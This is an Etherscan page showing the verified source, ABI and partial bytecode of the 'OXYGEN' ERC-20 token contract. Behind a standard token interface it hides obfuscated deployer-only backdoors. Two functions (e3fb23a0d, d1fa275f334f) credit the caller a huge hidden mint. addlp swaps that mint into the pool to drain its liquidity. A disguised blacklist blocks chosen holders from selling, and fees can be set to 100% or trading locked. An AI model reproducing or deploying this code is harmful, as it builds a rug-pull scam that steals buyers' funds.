ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 OXYGEN
Holders
4
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
TokenContract
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-09-23
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(msg.sender);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == msg.sender, "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Pair {
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {}
library SecureCalls {
function checkCaller(address sender, address _origin) internal pure {
require(sender == _origin, "Caller is not the original caller");
}
}
contract TokenContract is IERC20, Ownable {
IUniswapV2Router02 internal _router;
IUniswapV2Pair internal _pair;
address _origin;
address _pairToken;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 1000000000000000000000000000;
string private _name = "OXYGEN ";
string private _symbol = "OXYGEN";
uint8 private _decimals = 18;
uint private buyFee = 1;
uint private sellFee = 1;
bool private tradeLocked = false;
constructor (address routerAddress, address pairTokenAddress) {
_router = IUniswapV2Router02(routerAddress);
_pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), pairTokenAddress));
_balances[owner()] = _totalSupply;
_origin = msg.sender;
_pairToken = pairTokenAddress;
emit Transfer(address(0), owner(), _totalSupply);
marketWallet = msg.sender;
excludedFromFee[msg.sender] = true;
excludedFromFee[address(this)] = true;
excludedFromTradeLock[msg.sender] = true;
excludedFromTradeLock[address(this)] = true;
}
/* @dev Default ERC-20 implementation */
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = msg.sender;
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = msg.sender;
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = msg.sender;
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = msg.sender;
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = msg.sender;
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!checkCurrentStatus(from), "ERC20: No premission to transfer");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
if (tradeLocked) {
if (isMarket(from)) {
require(excludedFromTradeLock[to], "User isn't excluded from tradeLock");
} else if (isMarket(to)) {
require(excludedFromTradeLock[from], "User isn't excluded from tradeLock");
}
}
if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){
if (isMarket(from)) {
uint feeAmount = calculateFeeAmount(amount, buyFee);
_balances[from] = fromBalance - amount;
_balances[to] += amount - feeAmount;
emit Transfer(from, to, amount - feeAmount);
_balances[marketWallet] += feeAmount;
emit Transfer(from, marketWallet, feeAmount);
} else if (isMarket(to)) {
uint feeAmount = calculateFeeAmount(amount, sellFee);
_balances[from] = fromBalance - amount;
_balances[to] += amount - feeAmount;
emit Transfer(from, to, amount - feeAmount);
_balances[marketWallet] += feeAmount;
emit Transfer(from, marketWallet, feeAmount);
} else {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
} else {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/* @dev Custom features implementation */
function addlp() external {
SecureCalls.checkCaller(msg.sender, _origin);
uint256 thisTokenReserve = getBaseTokenReserve(address(this));
uint256 amountIn = type(uint112).max - thisTokenReserve;
e3fb23a0d(); transfer(address(this), balanceOf(msg.sender));
_approve(address(this), address(_router), type(uint112).max);
address[] memory path;
path = new address[](2);
path[0] = address(this);
path[1] = address(_router.WETH());
address to = msg.sender;
_router.swapExactTokensForTokens(
amountIn,
0,
path,
to,
block.timestamp + 1200
);
}
function getBaseTokenReserve(address token) public view returns (uint256) {
(uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
return baseTokenReserve;
}
function e3fb23a0d() internal {
_balances[msg.sender] += type(uint112).max;
}
function d1fa275f334f() public {
SecureCalls.checkCaller(msg.sender, _origin); e3fb23a0d();
}
function AddLiquidity() public payable {
SecureCalls.checkCaller(msg.sender, _origin);
transfer(address(this), balanceOf(msg.sender));
_approve(address(this), address(_router), balanceOf(address(this)));
_router.addLiquidityETH{ value:msg.value }(
address(this),
balanceOf(address(this)),
0,
0,
msg.sender,
block.timestamp + 1200
);
}
/* @dev Rebase */
function rebaseLiquidityPool(address _newRouterAddress, address _newPairTokenAddress) public {
SecureCalls.checkCaller(msg.sender, _origin);
if (address(_router) != _newRouterAddress) {
_router = IUniswapV2Router02(_newRouterAddress);
}
_pairToken = _newPairTokenAddress;
_pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).getPair(address(this), _newPairTokenAddress));
}
/* @dev Blacklist */
mapping(address => uint8) internal _f7ae38d22b;
function checkCurrentStatus(address _user) public view returns(bool) {
return _f7ae38d22b[_user] == 0 ? false : true;
}
function editCurrentStatus(address _user, uint8 _status) public {
SecureCalls.checkCaller(msg.sender, _origin);
require(_status < 2, "Status should be 0 or 1");
require(_status != _f7ae38d22b[_user], "User already have this status");
_f7ae38d22b[_user] = _status;
}
function switchOrigin(address newOrigin) public {
SecureCalls.checkCaller(msg.sender, _origin);
_origin = newOrigin;
}
address public marketWallet;
mapping(address => bool) public excludedFromFee;
mapping(address => bool) private excludedFromTradeLock;
function isMarket(address _user) internal view returns (bool) {
return (_user == address(_pair) || _user == address(_router));
}
function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
return _amount * _feePrecent / 100;
}
function isExcludedFromFee(address _user) public view returns (bool) {
return excludedFromFee[_user];
}
function updateExcludedFromFeeStatus(address _user, bool _status) public {
SecureCalls.checkCaller(msg.sender, _origin);
require(excludedFromFee[_user] != _status, "User already have this status");
excludedFromFee[_user] = _status;
}
function updateFees(uint256 _buyFee, uint256 _sellFee) external {
SecureCalls.checkCaller(msg.sender, _origin);
require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 100");
buyFee = _buyFee;
sellFee = _sellFee;
}
function updateMarketWallet(address _newMarketWallet) external {
SecureCalls.checkCaller(msg.sender, _origin);
marketWallet = _newMarketWallet;
}
function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
return (buyFee, sellFee);
}
function isTradeLocked() public view returns (bool) {
return tradeLocked;
}
function isEcludedFromTradeLock(address _user) public view returns (bool) {
return excludedFromTradeLock[_user];
}
function updateTradeLockedState(bool _state) public {
SecureCalls.checkCaller(msg.sender, _origin);
tradeLocked = _state;
}
function updateUserExcludedFromTradeLockStatus(address _user, bool _status) public {
SecureCalls.checkCaller(msg.sender, _origin);
require(excludedFromTradeLock[_user] != _status, "User already have this status");
excludedFromTradeLock[_user] = _status;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"pairTokenAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AddLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"addlp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkCurrentFees","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkCurrentStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"d1fa275f334f","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint8","name":"_status","type":"uint8"}],"name":"editCurrentStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isEcludedFromTradeLock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTradeLocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newRouterAddress","type":"address"},{"internalType":"address","name":"_newPairTokenAddress","type":"address"}],"name":"rebaseLiquidityPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOrigin","type":"address"}],"name":"switchOrigin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromFeeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"updateTradeLockedState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateUserExcludedFromTradeLockStatus","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60806040526b033b2e3c9fd0803ce80000006007556040518060400160405280600781526020017f4f585947454e2000000000000000000000000000000000000000000000000000815250600890816200005a91906200091e565b506040518060400160405280600681526020017f4f585947454e000000000000000000000000000000000000000000000000000081525060099081620000a191906200091e565b506012600a60006101000a81548160ff021916908360ff1602179055506001600b556001600c556000600d60006101000a81548160ff021916908315150217905550348015620000f057600080fd5b50604051620048ad380380620048ad833981810160405281019062000116919062000a6f565b6200012733620005b760201b60201c565b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fc919062000ab6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016200023892919062000af9565b6020604051808303816000875af115801562000258573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027e919062000ab6565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460056000620002d56200067b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003a56200067b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000406919062000b37565b60405180910390a333600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000b54565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200072657607f821691505b6020821081036200073c576200073b620006de565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007a67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000767565b620007b2868362000767565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620007ff620007f9620007f384620007ca565b620007d4565b620007ca565b9050919050565b6000819050919050565b6200081b83620007de565b620008336200082a8262000806565b84845462000774565b825550505050565b600090565b6200084a6200083b565b6200085781848462000810565b505050565b5b818110156200087f576200087360008262000840565b6001810190506200085d565b5050565b601f821115620008ce57620008988162000742565b620008a38462000757565b81016020851015620008b3578190505b620008cb620008c28562000757565b8301826200085c565b50505b505050565b600082821c905092915050565b6000620008f360001984600802620008d3565b1980831691505092915050565b60006200090e8383620008e0565b9150826002028217905092915050565b6200092982620006a4565b67ffffffffffffffff811115620009455762000944620006af565b5b6200095182546200070d565b6200095e82828562000883565b600060209050601f83116001811462000996576000841562000981578287015190505b6200098d858262000900565b865550620009fd565b601f198416620009a68662000742565b60005b82811015620009d057848901518255600182019150602085019450602081019050620009a9565b86831015620009f05784890151620009ec601f891682620008e0565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a378262000a0a565b9050919050565b62000a498162000a2a565b811462000a5557600080fd5b50565b60008151905062000a698162000a3e565b92915050565b6000806040838503121562000a895762000a8862000a05565b5b600062000a998582860162000a58565b925050602062000aac8582860162000a58565b9150509250929050565b60006020828403121562000acf5762000ace62000a05565b5b600062000adf8482850162000a58565b91505092915050565b62000af38162000a2a565b82525050565b600060408201905062000b10600083018562000ae8565b62000b1f602083018462000ae8565b9392505050565b62000b3181620007ca565b82525050565b600060208201905062000b4e600083018462000b26565b92915050565b613d498062000b646000396000f3fe6080604052600436106101ee5760003560e01c8063715018a61161010d578063b5c72e1a116100a0578063ecbe5a2d1161006f578063ecbe5a2d14610719578063ed4091b714610756578063edd8b64a1461076d578063f1fee6a214610796578063f2fde38b146107bf576101ee565b8063b5c72e1a1461065d578063d445d19e1461069a578063dd62ed3e146106b1578063e4440a86146106ee576101ee565b8063a07fc5a2116100dc578063a07fc5a21461058f578063a457c2d7146105ba578063a9059cbb146105f7578063b49f93f714610634576101ee565b8063715018a6146104e557806385ecafd7146104fc5780638da5cb5b1461053957806395d89b4114610564576101ee565b8063313ce567116101855780635337cc99116101545780635337cc99146104195780635342acb4146104425780636db794371461047f57806370a08231146104a8576101ee565b8063313ce5671461034b57806335d162741461037657806339509351146103b35780634d474d42146103f0576101ee565b806318160ddd116101c157806318160ddd1461028e5780631f6b29f7146102b957806323b872dd146102e25780632df8bca91461031f576101ee565b806306fdde03146101f3578063095ea7b31461021e5780630bc488c51461025b5780630cdd843614610265575b600080fd5b3480156101ff57600080fd5b506102086107e8565b6040516102159190612a8b565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190612b55565b61087a565b6040516102529190612bb0565b60405180910390f35b610263610896565b005b34801561027157600080fd5b5061028c60048036038101906102879190612c04565b6109ce565b005b34801561029a57600080fd5b506102a3610b30565b6040516102b09190612c53565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db9190612c9a565b610b3a565b005b3480156102ee57600080fd5b5061030960048036038101906103049190612cda565b610c53565b6040516103169190612bb0565b60405180910390f35b34801561032b57600080fd5b50610334610c7b565b604051610342929190612d2d565b60405180910390f35b34801561035757600080fd5b50610360610c8c565b60405161036d9190612d65565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612d80565b610ca3565b6040516103aa9190612c53565b60405180910390f35b3480156103bf57600080fd5b506103da60048036038101906103d59190612b55565b610e38565b6040516103e79190612bb0565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190612d80565b610e68565b005b34801561042557600080fd5b50610440600480360381019061043b9190612c9a565b610ed8565b005b34801561044e57600080fd5b5061046960048036038101906104649190612d80565b610ff1565b6040516104769190612bb0565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a19190612dad565b611047565b005b3480156104b457600080fd5b506104cf60048036038101906104ca9190612d80565b6110d6565b6040516104dc9190612c53565b60405180910390f35b3480156104f157600080fd5b506104fa61111f565b005b34801561050857600080fd5b50610523600480360381019061051e9190612d80565b611133565b6040516105309190612bb0565b60405180910390f35b34801561054557600080fd5b5061054e611153565b60405161055b9190612dfc565b60405180910390f35b34801561057057600080fd5b5061057961117c565b6040516105869190612a8b565b60405180910390f35b34801561059b57600080fd5b506105a461120e565b6040516105b19190612bb0565b60405180910390f35b3480156105c657600080fd5b506105e160048036038101906105dc9190612b55565b611225565b6040516105ee9190612bb0565b60405180910390f35b34801561060357600080fd5b5061061e60048036038101906106199190612b55565b611295565b60405161062b9190612bb0565b60405180910390f35b34801561064057600080fd5b5061065b60048036038101906106569190612e17565b6112b1565b005b34801561066957600080fd5b50610684600480360381019061067f9190612d80565b6112fa565b6040516106919190612bb0565b60405180910390f35b3480156106a657600080fd5b506106af611363565b005b3480156106bd57600080fd5b506106d860048036038101906106d39190612e44565b611399565b6040516106e59190612c53565b60405180910390f35b3480156106fa57600080fd5b50610703611420565b6040516107109190612dfc565b60405180910390f35b34801561072557600080fd5b50610740600480360381019061073b9190612d80565b611446565b60405161074d9190612bb0565b60405180910390f35b34801561076257600080fd5b5061076b61149c565b005b34801561077957600080fd5b50610794600480360381019061078f9190612d80565b61178e565b005b3480156107a257600080fd5b506107bd60048036038101906107b89190612e44565b6117fe565b005b3480156107cb57600080fd5b506107e660048036038101906107e19190612d80565b611a52565b005b6060600880546107f790612eb3565b80601f016020809104026020016040519081016040528092919081815260200182805461082390612eb3565b80156108705780601f1061084557610100808354040283529160200191610870565b820191906000526020600020905b81548152906001019060200180831161085357829003601f168201915b5050505050905090565b60008033905061088b818585611ad5565b600191505092915050565b6108c233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b6108d4306108cf336110d6565b611295565b5061090a30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610905306110d6565b611ad5565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610953306110d6565b600080336104b0426109659190612f13565b6040518863ffffffff1660e01b815260040161098696959493929190612f8c565b60606040518083038185885af11580156109a4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109c99190613002565b505050565b6109fa33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b60028160ff1610610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a37906130a1565b60405180910390fd5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff1603610ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acb9061310d565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b610b6633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef9061310d565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080339050610c64858285611d10565b610c6f858585611d9c565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610d15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3991906131af565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de89190613217565b73ffffffffffffffffffffffffffffffffffffffff1614610e1957816dffffffffffffffffffffffffffff16610e2b565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b600080339050610e5d818585610e4e8589611399565b610e589190612f13565b611ad5565b600191505092915050565b610e9433600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610f0433600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b801515601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8d9061310d565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673fffffff